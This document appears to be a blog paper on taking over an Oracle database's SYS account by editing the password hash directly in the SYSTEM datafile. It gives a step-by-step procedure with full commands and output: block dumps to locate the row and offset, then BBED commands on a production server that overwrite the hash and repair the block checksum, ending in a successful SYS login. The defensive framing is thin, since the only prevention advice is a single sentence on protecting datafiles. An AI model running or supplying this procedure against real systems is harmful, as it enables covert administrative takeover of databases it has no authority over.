"Fixing" SYS for hacking purposes
How does one change Oracle's SYS password without having to login into the database? Is it possible?
The answer is, YES! All you need is a binary fiile editor and some knowledge of Oracle's internals.
This document is to be used only for testing purposes and should not be used in a production environment. The purpose is to show the audience how hackers can gain access to your system without knowing it - and how to prevent it.
As I said earlier, I am not going to use SQL to access the production database. In order to get the necessary information about the SYS user, I will copy the production system datafile to my test server using rcp, sftp or any other utility (assumption here is that we already have gained access to database server).
Using my test Oracle instance and the ALTER SYSTEM DUMP DATAFILE command I will get formatted dumps of the datafile. Dumping more blocks at once will speed up the whole process since I do not know which Oracle block has the password hash value for the SYS user.
The command used to dump more than one blocks at once is:
alter system dump datafile
Here is an example:
alter system dump datafile '/ora-main/oradata/test/data/system_01.dbf' block min 1 block max 60;
This command can be performed with instance in nomunt state. Trace file will be located in the user dump directory.
NOTE: For more information on Oracle dumps, please check my previous paper named "Oradebug – Undocumented Oracle Utility".
The formatted dump has all values needed to modify the SYS password on the production server. We need the following three values:
1) PASSWORD HASH VALUE
2) RDBA
Each block of an Oracle data file is formatted with a fixed header that contains information about the particular block. This information provides a means to ensure the integrity for each block and in turn, the entire Oracle database. One component of the fixed header of a data block is called a Relative Data Block Address (DBA). This DBA is a 4 bytes that stores the relative file number of the Oracle database file and the Oracle block number offset relative
to the beginning of the file. (Presley, 1993).
How RDBA is mapped:
e.g.
rdba: 0x0b52fbf6 (45/1244150)
Bin mode representation of these numbers might give you a clue:
0b52fbf6 1011010100101111101111110110 1244150 100101111101111110110 45 101101
3) OFFSET - The offset is relative to the block already set.
I am not going into great details how to find these values. There is a way to do it and all you need knowledge about Oracle internals but do not try it unless you know what are you doing.
Here is excerpt from the formatted block. Important values are highlighted:
buffer rdba: 0x00400036 (1/54) RDBA scn: 0x0000.00070afd seq: 0x01 flg: 0x06 tail: 0x0afd0601 frmt: 0x02 chkval: 0x97e0 type: 0x06=trans data tab 1, row 1, @0x18f5 - OFFSET col 1: [ 2] c1 02 col 2: [16] 34 44 45 34 32 37 39 35 45 36 36 31 31 37 41 45 (Password hash value ) col 3: [ 1] 80 col 4: [ 1] 80 col 5: [ 7] 78 69 0b 0a 11 19 2a col 6: [ 7] 78 69 0c 1b 11 09 03 col 7: *NULL* col 8: *NULL* col 9: [ 1] 80 col 10: *NULL* col 11: [ 2] c1 02
It’s time to pick a new SYS password. Again, using my test database I will generate a new password hash value.
SQL> alter user sys identified by testpass; User altered. SQL> select password from dba_users where username='SYS'; PASSWORD ------------------------------ E2A109347F6C7832
This hash value will be used for a new password.
You all know the trick how to temporary change user password and return it back using same password hash value:
e.g. alter user sys identified by values ‘E2A109347F6C7832’;
Big question left: how to change password hash value on production database server without having to login into a database? In this case my choice is BBED (Block Browser Editor). This is Oracle internal tool used to modify data blocks. It has been around for a while. It’s still there in release 10.2. BBED is password protected but unfortunately with a very weak password.
More information about this tool you can find in a reference [2].
The following scenario is happening on production database server.
Login into BBED:
BBED> info
File# Name Size(blks)
----- ---- ----------
1 /ora-main/oradata/test/data/system_01.dbf 256004
The RDBA, offset and password hash value is already known.
BBED> set file 1
FILE# 1
BBED> set block 54
BLOCK# 54
BBED> set offset 6389
OFFSET 6389
BBED> p kdbr
sb2 kdbr[0] @118 8074
sb2 kdbr[1] @120 8009
-----------------------------------------------------------
sb2 kdbr[20] @158 5965
sb2 kdbr[21] @160 8030
sb2 kdbr[22] @162 6389 - offset ( 0x18f5 )
sb2 kdbr[23] @164 7838
BBED> p*kdbr[22]
rowdata[561]
------------
ub1 rowdata[561] @6481 0x6c
BBED> x/r
rowdata[561] @6481
------------
flag@6481: 0x6c (KDRHFL, KDRHFF, KDRHFH, KDRHFC)
lock@6482: 0x00
cols@6483: 17
ckix@6484: 1
col 1[2] @6489: 0xc1 0x02
col 2[16] @6492: 0x34 0x44 0x45 0x34 0x32 0x37 0x39 0x35 0x45 0x36
0x36 0x31 0x31 0x37 0x41 0x45
col 3[1] @6509: 0x80
col 4[1] @6511: 0x80
col 5[7] @6513: 0x78 0x69 0x0b 0x0a 0x11 0x19 0x2a
col 6[7] @6521: 0x78 0x69 0x0c 0x1b 0x11 0x09 0x03
BBED> x/rn2cntn ( this command will show rows )
rowdata[561] @6481
------------
flag@6481: 0x6c (KDRHFL, KDRHFF, KDRHFH, KDRHFC)
lock@6482: 0x00
cols@6483: 17
ckix@6484: 1
col 1[2] @6489: Á.
col 2[16] @6492: 4DE42795E66117AE (34 44 45 34 32 37 39 35 45 36 36 31 31 37 41 45
col 3[1] @6509: 0
col 4[1] @6511: 0x80
col 5[7] @6513: -0
col 6[7] @6521: -0
Dump file to be sure that you are editing correct data:
BBED> dump/v dba 1,54 offset 6389 count 150 File: /ora-main/oradata/test/data/system_01.dbf (1) Block: 54 Offsets: 6389 to 6538 Dba:0x00400036 ----------------------------------------------------------------------------------------------------------- 01800180 0778690b 160f3a11 ffffff01 80ff02c1 02ffff01 80018016 44454641 l .....xi...:........Á........DEFA554c545f 434f4e53 554d4552 5f47524f 5550ac00 01000100 01004000 36001000 l ULT_CONSUMER_GROUP¬.......@.6...40003600 1002c111 6c000705 01800180 03c20346 01800180 01800180 6c001101 l@.6...Á.l........Â.F........l... 03535953 02c10210 34444534 32373935 45363631 31374145 01800180 0778690b l .SYS.Á..4DE42795E66117AE.....xi.0a11192a 0778690c 1b110903 ffff0180 ff02c102
Find correct offset:
BBED> find /c 4DE42795E66117AE File: /ora-main/oradata/test/data/testsystem_01.dbf (1) Block: 54 Offsets: 6493 to 6508 Dba:0x00400036 ------------------------------------------------------------------------------------------------------------ 34444534 32373935 45363631 31374145 <48 bytes per line>
Offset for a this string is 6493. One more check before modifying:
BBED> dump/v dba 1,54 offset 6493 count 16 File: /ora-main/oradata/test/data/testsystem_01.dbf (1) Block: 54 Offsets: 6493 to 6508 Dba:0x00400036 ----------------------------------------------------------------------------------------------------------- 34444534 32373935 45363631 31374145 l 4DE42795E66117AE
Now I am positive that this is an offset that needs to be modified.
I will modify block using password hash value ( E2A109347F6C7832 ) previously generated on my test database;
BBED> modify/c E2A109347F6C7832 dba 1,54 offset 6493 Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) y File: /ora-main/oradata/test/data/testsystem_01.dbf (1) Block: 54 Offsets: 6493 to 6508 Dba:0x00400036 ------------------------------------------------------------------------ 45324131 30393334 37463643 37383332
Dump block to acknowledge change:
BBED> dump/v dba 1,54 offset 6493 count 16 File: /ora-main/oradata/test/data/testsystem_01.dbf (1) Block: 54 Offsets: 6493 to 6508 Dba:0x00400036 ----------------------------------------------------------------------------------------------------------- 45324131 30393334 37463643 37383332 l E2A109347F6C7832
Change is there. And finally apply changes to the block:
BBED> sum dba 1,54 Check value for File 1, Block 54: current = 0x97e0, required = 0x919b BBED> sum dba 1,54 apply Check value for File 1, Block 54: current = 0x919b, required = 0x919b
It’s time to test new password. Login into production database using new password:
SQL> conn sys/testpass Connected.
And select confirms new password hash value:
SQL> select password from dba_users where username='SYS'; PASSWORD E2A109347F6C7832
Conclusion:
To conclude, a hacker can damage you production system if you don't protect your database files. If left unprotected, a hacker can easily change passwords and other settings with a binary editor like BBED without you knowing it.
No liability for the contents of these documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a first version, there may be errors and inaccuracies that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author does not take any responsibility for that.
References:
[1] Oradebug – Undocumented Oracle Utility - Miladin Modrakovic
[2] Disassembling the Oracle Date Block - Graham Thornton
- Miladin Modrakovic's blog
- Log in to post comments